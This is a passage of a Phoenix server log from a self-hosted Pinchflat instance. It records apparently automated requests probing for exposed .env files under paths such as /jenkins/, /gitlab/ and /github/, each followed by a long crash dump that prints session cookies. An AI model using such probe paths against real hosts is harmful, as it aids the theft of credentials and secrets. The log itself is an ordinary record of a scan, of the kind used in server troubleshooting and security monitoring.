:phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/cd/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk65d_f9lzqHAAAS5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cd/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 186, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cd/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cd/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 186, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchfl (truncated) 02:10:21.669 [info] GET /jenkins/.env 02:10:21.671 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=201.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.671 [debug] QUERY OK source="settings" db=0.2ms idle=125.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.671 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.672 [error] #PID<0.3491.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 187) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /jenkins/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /jenkins/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/jenkins/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 187, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3491.0>, params: %{}, path_info: ["jenkins", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/jenkins/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk65upRV7qe2kAAS6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/jenkins/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 187, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /jenkins/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/jenkins/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 187, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:21.736 [info] GET /gitlab/.env 02:10:21.737 [debug] QUERY OK source="settings" db=0.5ms idle=191.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.738 [debug] QUERY OK source="settings" db=0.2ms idle=137.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.738 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.739 [error] #PID<0.3492.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 188) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /gitlab/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gitlab/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gitlab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 188, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3492.0>, params: %{}, path_info: ["gitlab", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/gitlab/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk65-lVDVbLEwAAS7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gitlab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 188, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gitlab/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gitlab/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 188, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:21.800 [info] GET /github/.env 02:10:21.800 [debug] QUERY OK source="settings" db=0.2ms idle=198.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.801 [debug] QUERY OK source="settings" db=0.1ms idle=129.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.801 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.801 [error] #PID<0.3493.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 189) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /github/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /github/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/github/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 189, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3493.0>, params: %{}, path_info: ["github", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/github/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk66Nv4LDTbiYAAS8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/github/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" 